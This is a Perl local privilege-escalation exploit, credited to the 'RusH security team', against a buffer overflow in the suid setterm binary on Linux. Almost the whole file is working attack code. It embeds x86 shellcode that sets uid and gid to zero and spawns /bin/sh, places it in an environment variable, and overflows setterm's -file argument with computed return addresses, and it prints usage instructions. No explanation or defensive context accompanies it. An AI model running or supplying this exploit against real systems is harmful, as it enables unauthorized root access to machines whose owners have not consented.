#!/usr/bin/perl # ***************************************** # # r57setterm.pl # # /usr/bin/setterm linux local bof exploit # # RusH security team - http://rst.void.ru # # ***************************************** # $evilcode = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" . "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" . "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" . "\x80\xe8\xdc\xff\xff\xff/bin/sh"; if(@ARGV != 1) { print ">> r57setterm.pl\n"; print ">> usage: ./r57setterm.pl /path_to/setterm\n"; print ">> eg: ./r57setterm.pl /usr/bin/setterm\n"; exit(); } $prog = $ARGV[0]; $ret = 0xbfffffff; if(!-u($prog)) { print "$prog is not suid... exiting\n"; exit(); } $ret2 = $ret - 5 - length($evilcode) - length($prog); print ("retaddr: 0x", sprintf('%lx',($ret2)),"\n"); $new_ret = pack('l', ($ret2)); for ($i=0; $i<256; $i+=4) { $buffer .= $new_ret; } $buffer2 .= $evilcode; local($ENV{'blah'}) = $buffer2; exec("$prog -file $buffer"); # EOF